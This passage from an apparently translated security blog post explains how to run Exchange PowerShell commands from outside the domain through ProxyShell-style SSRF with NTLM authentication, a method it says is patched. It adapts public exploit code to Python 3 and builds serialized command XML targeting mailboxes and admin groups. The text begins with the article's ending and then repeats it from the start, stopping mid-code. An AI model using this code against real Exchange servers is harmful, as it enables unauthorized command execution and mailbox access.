refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeDebug\" refid=\"10\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"MergeInformation\" refid=\"11\">\u003Ctnref refid=\"1\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                    \u003Cobj n=\"Args\" refid=\"12\">\u003Ctnref refid=\"0\">\u003Cbr>                        \u003Clst>\u003Cbr>                            {Argument}\u003Cbr>                        \u003C\u002Flst>\u003Cbr>                    \u003C\u002Ftnref>\u003C\u002Fobj>\u003Cbr>                \u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003Cbr>            \u003C\u002Flst>\u003Cbr>        \u003C\u002Fobj>\u003Cbr>        \u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003Cbr>        \u003Cnil n=\"History\">\u003Cbr>        \u003Cb n=\"RedirectShellErrorOutputPipe\">true\u003C\u002Fb>\u003Cbr>    \u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003Cbr>    \u003Cb n=\"NoInput\">true\u003C\u002Fb>\u003Cbr>    \u003Cobj n=\"ApartmentState\" refid=\"15\">\u003Cbr>        \u003Ctn refid=\"2\">\u003Ct>System.Threading.ApartmentState\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Cbr>        \u003Ctostring>Unknown\u003C\u002Ftostring>\u003Ci32>2\u003C\u002Fi32>\u003Cbr>    \u003C\u002Fobj>\u003Cbr>    \u003Cobj n=\"RemoteStreamOptions\" refid=\"16\">\u003Cbr>        \u003Ctn refid=\"3\">\u003Ct>System.Management.Automation.RemoteStreamOptions\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Cbr>        \u003Ctostring>0\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003Cbr>    \u003C\u002Fobj>\u003Cbr>    \u003Cb n=\"AddToHistory\">true\u003C\u002Fb>\u003Cbr>    \u003Cobj n=\"HostInfo\" refid=\"17\">\u003Cms>\u003Cbr>        \u003Cb n=\"_isHostNull\">true\u003C\u002Fb>\u003Cbr>        \u003Cb n=\"_isHostUINull\">true\u003C\u002Fb>\u003Cbr>        \u003Cb n=\"_isHostRawUINull\">true\u003C\u002Fb>\u003Cbr>        \u003Cb n=\"_useRunspaceHost\">true\u003C\u002Fb>\u003C\u002Fms>\u003Cbr>    \u003C\u002Fobj>\u003Cbr>    \u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003Cbr>\u003C\u002Fms>\u003C\u002Fobj>\"\"\".format(Cmdlet=Cmdlet, Argument=Argument)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Combining the above details, we can derive the final implementation code, with the execution result shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016719487_1_9fb08253fe.png\">\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the implementation method for remote access to Exchange PowerShell, with the advantage of not relying on initiating connections from within the domain. This method was patched in CVE-2022-41040.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Exchange PowerShell is based on PowerShell Remoting and typically requires accessing the Exchange Server's port 80 from a domain-joined host, which imposes many restrictions. This article introduces an implementation method that does not rely on initiating connections from a domain-joined host, thereby expanding its applicability.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This method was patched in CVE-2022–41040. The fix location: RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) in C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\Microsoft.Exchange.HttpProxy.Common.dll, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016711613_0_4dd0aa5e43-1.png\">\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation Approach\u003C\u002Fli>\u003Cli>Implementation Details\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In conventional usage, the following issues need to be considered when using Exchange PowerShell:\u003C\u002Fp>\u003Cul>\u003Cli>All domain users can connect to Exchange PowerShell\u003C\u002Fli>\u003Cli>Connection must be initiated from a host within the domain\u003C\u002Fli>\u003Cli>Connection address must use FQDN; IP addresses are not supported\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Conventional methods cannot initiate connections from outside the domain. However, as we know, ProxyShell can be used to initiate connections from outside the domain, leveraging SSRF to execute Exchange PowerShell\u003C\u002Fp>\u003Cp>Furthermore, after applying the ProxyShell patch, SSRF supporting NTLM authentication was not removed. We can access Exchange PowerShell again via NTLM authentication\u003C\u002Fp>\u003Ch2>0x03 Implementation Details\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In terms of code implementation, we can incorporate NTLM authentication to pass credentials. Example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>from requests_ntlm import HttpNtlmAuth\u003Cbr>res = requests.post(url, data=post_data, headers=headers, verify=False, auth=HttpNtlmAuth(username, password))\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When executing Exchange PowerShell commands, we can choose pypsrp or Flask. Specific details can be referenced in previous articles: 'ProxyShell Exploitation Analysis 2—CVE-2021-34523' and 'ProxyShell Exploitation Analysis 3—Adding Users and File Writing'\u003C\u002Fp>\u003Cp>Both pypsrp and Flask work by establishing a web proxy to filter and modify communication data for command execution\u003C\u002Fp>\u003Cp>To increase the applicability of the code, an alternative implementation method is chosen here: simulate normal Exchange PowerShell communication data to achieve command execution\u003C\u002Fp>\u003Cp>Reference code: https:\u002F\u002Fgist.github.com\u002Frskvp93\u002F4e353e709c340cb18185f82dbec30e58\u003C\u002Fp>\u003Cp>The code uses Python2 and implements ProxyShell exploitation\u003C\u002Fp>\u003Cp>Based on this code, rewrite it to support Python3, with the functionality of accessing Exchange PowerShell via NTLM authentication to execute commands. Specific details to note are as follows:\u003C\u002Fp>\u003Ch3>1. Differences in string formatting between Python2 and Python3\u003C\u002Fh3>\u003Ch4>(1)\u003C\u002Fh4>\u003Cp>Code that works in Python2:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>class BasePacket:\u003Cbr>    def serialize(self):\u003Cbr>        Blob = ''.join([struct.pack('I', self.Destination),\u003Cbr>                struct.pack('I', self.MessageType),\u003Cbr>                self.RPID.bytes_le,\u003Cbr>                self.PID.bytes_le,\u003Cbr>                self.Data\u003Cbr>            ])\u003Cbr>        BlobLength = len(Blob)\u003Cbr>        output = ''.join([struct.pack('&gt;Q', self.ObjectId),\u003Cbr>            struct.pack('&gt;Q', self.FragmentId),\u003Cbr>            self.Flags,\u003Cbr>            struct.pack('&gt;I', BlobLength),\u003Cbr>            Blob ])\u003Cbr>        return output \u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When using the above code in Python3, Str needs to be converted to bytes, and to avoid invisible character parsing issues, the code structure has been redesigned. Python3 compatible code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def serialize(self):\u003Cbr>    Blob = struct.pack('I', self.Destination) + struct.pack('I', self.MessageType) + self.RPID.bytes_le + self.PID.bytes_le + self.Data.encode('utf-8')\u003Cbr>    BlobLength = len(Blob)\u003Cbr>    output = struct.pack('&gt;Q', self.ObjectId) + struct.pack('&gt;Q', self.FragmentId) + self.Flags.encode('utf-8') + struct.pack('&gt;I', BlobLength) + Blob       \u003Cbr>    return output\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2)\u003C\u002Fh4>\u003Cp>Python2 compatible code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>class CreationXML:\u003Cbr>    def serialize(self):\u003Cbr>        output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()\u003Cbr>        return base64.b64encode(output)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When using the above code in Python3, you need to convert Str to bytes. Example code usable in Python3:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def serialize(self):\u003Cbr>    output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()\u003Cbr>    return base64.b64encode(output).decode('utf-8')\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(3)\u003C\u002Fh4>\u003Cp>Code usable in Python2:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def receive_data(SessionId, commonAccessToken, ShellId):\u003Cbr>    print \"[+] Receive data util get RunspaceState packet\"\u003Cbr>    headers = {\u003Cbr>        \"Content-Type\": \"application\u002Fsoap+xml;charset=UTF-8\"\u003Cbr>        }\u003Cbr>    url = \"\u002Fpowershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&amp;X-Rps-CAT={commonAccessToken}\".format(commonAccessToken=commonAccessToken)\u003Cbr>    MessageID = uuid.uuid4()\u003Cbr>    OperationID = uuid.uuid4()\u003Cbr>    request_data = \"\"\"\u003Cs:envelope xmlns:s=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\" xmlns:a=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2004\u002F08\u002Faddressing\" xmlns:w=\"http:\u002F\u002Fschemas.dmtf.org\u002Fwbem\u002Fwsman\u002F1\u002Fwsman.xsd\" xmlns:p=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwbem\u002Fwsman\u002F1\u002Fwsman.xsd\">\u003Cbr>    \u003Cs:header>\u003Cbr>        \u003Ca:to>https:\u002F\u002Fexchange16.domaincorp.com:443\u002FPowerShell?PSVersion=5.1.19041.610\u003C\u002Fa:to>\u003Cbr>        \u003Cw:resourceuri s:mustunderstand=\"true\">http:\u002F\u002Fschemas.microsoft.com\u002Fpowershell\u002FMicrosoft.Exchange\u003C\u002Fw:resourceuri>\u003Cbr>        \u003Ca:replyto>\u003Cbr>            \u003Ca:address s:mustunderstand=\"true\">http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2004\u002F08\u002Faddressing\u002Frole\u002Fanonymous\u003C\u002Fa:address>\u003Cbr>        \u003C\u002Fa:replyto>\u003Cbr>        \u003Ca:action s:mustunderstand=\"true\">http:\u002F\u002Fschemas.microsoft.com\u002Fwbem\u002Fwsman\u002F1\u002Fwindows\u002Fshell\u002FReceive\u003C\u002Fa:action>\u003Cbr>        \u003Cw:maxenvelopesize s:mustunderstand=\"true\">512000\u003C\u002Fw:maxenvelopesize>\u003Cbr>        \u003Ca:messageid>uuid:{MessageID}\u003C\u002Fa:messageid>\u003Cbr>        \u003Cw:locale xml:lang=\"en-US\" s:mustunderstand=\"false\">\u003Cbr>        \u003Cp:datalocale xml:lang=\"en-US\" s:mustunderstand=\"false\">\u003Cbr>        \u003Cp:sessionid s:mustunderstand=\"false\">uuid:{SessionId}\u003C\u002Fp:sessionid>\u003Cbr>        \u003Cp:operationid s:mustunderstand=\"false\">uuid:{OperationID}\u003C\u002Fp:operationid>\u003Cbr>        \u003Cp:sequenceid s:mustunderstand=\"false\">1\u003C\u002Fp:sequenceid>\u003Cbr>        \u003Cw:selectorset>\u003Cbr>            \u003Cw:selector name=\"ShellId\">{ShellId}\u003C\u002Fw:selector>\u003Cbr>        \u003C\u002Fw:selectorset>\u003Cbr>        \u003Cw:optionset xmlns:xsi=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema-instance\">\u003Cbr>            \u003Cw:option name=\"WSMAN_CMDSHELL_OPTION_KEEPALIVE\">TRUE\u003C\u002Fw:option>\u003Cbr>        \u003C\u002Fw:optionset>\u003Cbr>        \u003Cw:operationtimeout>PT180.000S\u003C\u002Fw:operationtimeout>\u003Cbr>    \u003C\u002Fp:datalocale>\u003C\u002Fw:locale>\u003C\u002Fs:header>\u003Cbr>    \u003Cs:body>\u003Cbr>        \u003Crsp:receive xmlns:rsp=\"http:\u002F\u002Fschemas.microsoft.com\u002Fwbem\u002Fwsman\u002F1\u002Fwindows\u002Fshell\" sequenceid=\"0\">\u003Cbr>            \u003Crsp:desiredstream>stdout\u003C\u002Frsp:desiredstream>\u003Cbr>        \u003C\u002Frsp:receive>\u003Cbr>    \u003C\u002Fs:body>\u003Cbr>\u003C\u002Fs:envelope>\"\"\".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId)\u003Cbr>    r = post_request(url, headers, request_data, {})\u003Cbr>    if r.status_code == 200:\u003Cbr>        doc = xml.dom.minidom.parseString(r.text);\u003Cbr>        elements = doc.getElementsByTagName(\"rsp:Stream\")\u003Cbr>        if len(elements) == 0:\u003Cbr>            print_error_and_exit(\"receive_data failed with no Stream return\", r)\u003Cbr>        for element in elements:\u003Cbr>            stream = element.firstChild.nodeValue\u003Cbr>            data = base64.b64decode(stream)\u003Cbr>            if 'RunspaceState' in data:\u003Cbr>                print \"[+] Found RunspaceState packet\"\u003Cbr>                return True\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When using the above code in Python3, you need to convert Str to bytes. To avoid issues with parsing invisible characters, do not use .decode('utf-8') here; instead, use .decode('ISO-8859-1')\u003C\u002Fp>\u003Cp>Example code usable in Python3:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>data = base64.b64decode(stream).decode('ISO-8859-1')\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. XML file format supporting Exchange Powershell commands\u003C\u002Fh3>\u003Cp>XML file format example 1:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"0\">\u003Cms>\u003Cb n=\"NoInput\">true\u003C\u002Fb>\u003Cobj n=\"ApartmentState\" refid=\"1\">\u003Ctn refid=\"0\">\u003Ct>System.Management.Automation.Runspaces.ApartmentState\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>UNKNOWN\u003C\u002Ftostring>\u003Ci32>2\u003C\u002Fi32>\u003C\u002Fobj>\u003Cobj n=\"RemoteStreamOptions\" refid=\"2\">\u003Ctn refid=\"1\">\u003Ct>System.Management.Automation.Runspaces.RemoteStreamOptions\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>AddInvocationInfo\u003C\u002Ftostring>\u003Ci32>15\u003C\u002Fi32>\u003C\u002Fobj>\u003Cb n=\"AddToHistory\">false\u003C\u002Fb>\u003Cobj n=\"HostInfo\" refid=\"3\">\u003Cms>\u003Cb n=\"_isHostNull\">true\u003C\u002Fb>\u003Cb n=\"_isHostUINull\">true\u003C\u002Fb>\u003Cb n=\"_isHostRawUINull\">true\u003C\u002Fb>\u003Cb n=\"_useRunspaceHost\">true\u003C\u002Fb>\u003C\u002Fms>\u003C\u002Fobj>\u003Cobj n=\"PowerShell\" refid=\"4\">\u003Cms>\u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003Cnil n=\"ExtraCmds\">\u003Cobj n=\"Cmds\" refid=\"5\">\u003Ctn refid=\"2\">\u003Ct>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Clst>\u003Cobj refid=\"6\">\u003Cms>\u003Cs n=\"Cmd\">Get-RoleGroupMember\u003C\u002Fs>\u003Cb n=\"IsScript\">false\u003C\u002Fb>\u003Cnil n=\"UseLocalScope\">\u003Cobj n=\"MergeMyResult\" refid=\"7\">\u003Ctn refid=\"3\">\u003Ct>System.Management.Automation.Runspaces.PipelineResultTypes\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Fobj>\u003Cobj n=\"MergeToResult\" refid=\"8\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergePreviousResults\" refid=\"9\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"Args\" refid=\"10\">\u003Ctnref refid=\"2\">\u003Clst>\u003Cobj refid=\"11\">\u003Cms>\u003Cnil n=\"N\">\u003Cs n=\"V\">Organization Management\u003C\u002Fs>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Flst>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeError\" refid=\"12\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeWarning\" refid=\"13\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeVerbose\" refid=\"14\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeDebug\" refid=\"15\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Flst>\u003C\u002Fobj>\u003Cnil n=\"History\">\u003Cb n=\"RedirectShellErrorOutputPipe\">false\u003C\u002Fb>\u003C\u002Fnil>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding executed command is: Get-RoleGroupMember \"Organization Management\"\u003C\u002Fp>\u003Cp>XML file format example 2:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"0\">\u003Cms>\u003Cb n=\"NoInput\">true\u003C\u002Fb>\u003Cobj n=\"ApartmentState\" refid=\"1\">\u003Ctn refid=\"0\">\u003Ct>System.Management.Automation.Runspaces.ApartmentState\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>UNKNOWN\u003C\u002Ftostring>\u003Ci32>2\u003C\u002Fi32>\u003C\u002Fobj>\u003Cobj n=\"RemoteStreamOptions\" refid=\"2\">\u003Ctn refid=\"1\">\u003Ct>System.Management.Automation.Runspaces.RemoteStreamOptions\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>AddInvocationInfo\u003C\u002Ftostring>\u003Ci32>15\u003C\u002Fi32>\u003C\u002Fobj>\u003Cb n=\"AddToHistory\">false\u003C\u002Fb>\u003Cobj n=\"HostInfo\" refid=\"3\">\u003Cms>\u003Cb n=\"_isHostNull\">true\u003C\u002Fb>\u003Cb n=\"_isHostUINull\">true\u003C\u002Fb>\u003Cb n=\"_isHostRawUINull\">true\u003C\u002Fb>\u003Cb n=\"_useRunspaceHost\">true\u003C\u002Fb>\u003C\u002Fms>\u003C\u002Fobj>\u003Cobj n=\"PowerShell\" refid=\"4\">\u003Cms>\u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003Cnil n=\"ExtraCmds\">\u003Cobj n=\"Cmds\" refid=\"5\">\u003Ctn refid=\"2\">\u003Ct>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Clst>\u003Cobj refid=\"6\">\u003Cms>\u003Cs n=\"Cmd\">Get-Mailbox\u003C\u002Fs>\u003Cb n=\"IsScript\">false\u003C\u002Fb>\u003Cnil n=\"UseLocalScope\">\u003Cobj n=\"MergeMyResult\" refid=\"7\">\u003Ctn refid=\"3\">\u003Ct>System.Management.Automation.Runspaces.PipelineResultTypes\u003C\u002Ft>\u003Ct>System.Enum\u003C\u002Ft>\u003Ct>System.ValueType\u003C\u002Ft>\u003Ct>System.Object\u003C\u002Ft>\u003C\u002Ftn>\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Fobj>\u003Cobj n=\"MergeToResult\" refid=\"8\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergePreviousResults\" refid=\"9\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"Args\" refid=\"10\">\u003Ctnref refid=\"2\">\u003Clst>\u003Cobj refid=\"11\">\u003Cms>\u003Cs n=\"N\">-Identity\u003C\u002Fs>\u003Cs n=\"V\">administrator\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Flst>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeError\" refid=\"12\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeWarning\" refid=\"13\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeVerbose\" refid=\"14\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003Cobj n=\"MergeDebug\" refid=\"15\">\u003Ctnref refid=\"3\">\u003Ctostring>None\u003C\u002Ftostring>\u003Ci32>0\u003C\u002Fi32>\u003C\u002Ftnref>\u003C\u002Fobj>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Flst>\u003C\u002Fobj>\u003Cnil n=\"History\">\u003Cb n=\"RedirectShellErrorOutputPipe\">false\u003C\u002Fb>\u003C\u002Fnil>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003Cb n=\"IsNested\">false\u003C\u002Fb>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding executed command is: Get-Mailbox -Identity administrator\u003C\u002Fp>\u003Cp>Through format analysis, the following conclusions can be drawn:\u003C\u002Fp>\u003Ch4>(1) The attribute Cmd corresponds to the command name\u003C\u002Fh4>\u003Cp>For example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cs n=\"Cmd\">Get-RoleGroupMember\u003C\u002Fs>\u003Cbr>\u003Cbr>\u003Cs n=\"Cmd\">Get-Mailbox\u003C\u002Fs>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) The format of the passed command parameters needs attention\u003C\u002Fh4>\u003Cp>If only one parameter is passed, the corresponding format is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"11\">\u003Cms>\u003Cnil n=\"N\">\u003Cs n=\"V\">Organization Management\u003C\u002Fs>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If two parameters are passed, the corresponding format is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"11\">\u003Cms>\u003Cs n=\"N\">-Identity\u003C\u002Fs>\u003Cs n=\"V\">administrator\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If four parameters are passed, the corresponding format is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cobj refid=\"11\">\u003Cms>\u003Cs n=\"N\">-Identity\u003C\u002Fs>\u003Cs n=\"V\">administrator\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\u003Cbr>\u003Cobj refid=\"12\">\u003Cms>\u003Cs n=\"N\">-ResultSize\u003C\u002Fs>\u003Cs n=\"V\">1024\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For this, we can use the following code to implement parameter filling:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def GenerateArgument(N_data, V_data):\u003Cbr>    if len(N_data) == 0:\u003Cbr>        Argument = \"\"\"\u003Cobj refid=\"13\">\u003Cms>\u003Cnil n=\"N\">\u003Cs n=\"V\">{V_data}\u003C\u002Fs>\u003C\u002Fnil>\u003C\u002Fms>\u003C\u002Fobj>\"\"\".format(V_data=V_data)\u003Cbr>    else:\u003Cbr>        Argument = \"\"\"\u003Cobj refid=\"13\">\u003Cms>\u003Cs n=\"N\">{N_data}\u003C\u002Fs>\u003Cs n=\"V\">{V_data}\u003C\u002Fs>\u003C\u002Fms>\u003C\u002Fobj>\"\"\".format(N_data=N_data, V_data=V_data)\u003Cbr>    return Argument\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Implementation code for constructing the XML file format:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    commandData = \"\"\"\u003Cobj refid=\"0\">\u003Cms>\u003Cbr>    \u003Cobj n=\"PowerShell\" refid=\"1\">\u003Cms>\u003Cbr>        \u003Cobj n=\"Cmds\" refid=\"2\">\u003Cbr>            \u003Ctn refid=\"0\">\u003Cbr>                \u003Ct>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]\u003C\u002Ft>\u003Cbr>                \u003Ct>System.Object\u003C\u002Ft>\u003Cbr>            \u003C\u002Ftn>\u003Cbr>            \u003Clst>\u003Cbr>                \u003Cobj refid=\"3\">\u003Cms>\u003Cbr>                    \u003Cs n=\"Cmd\">{Cmdlet}\u003C\u002Fs>\u003Cbr>                    \u003Cb n=\"IsScript\">false\u003C\u002Fb>\u003Cbr>                    \u003Cnil n=\"UseLocalScope\">\u003Cbr>                    \u003Cobj n=\"MergeMyResult\" 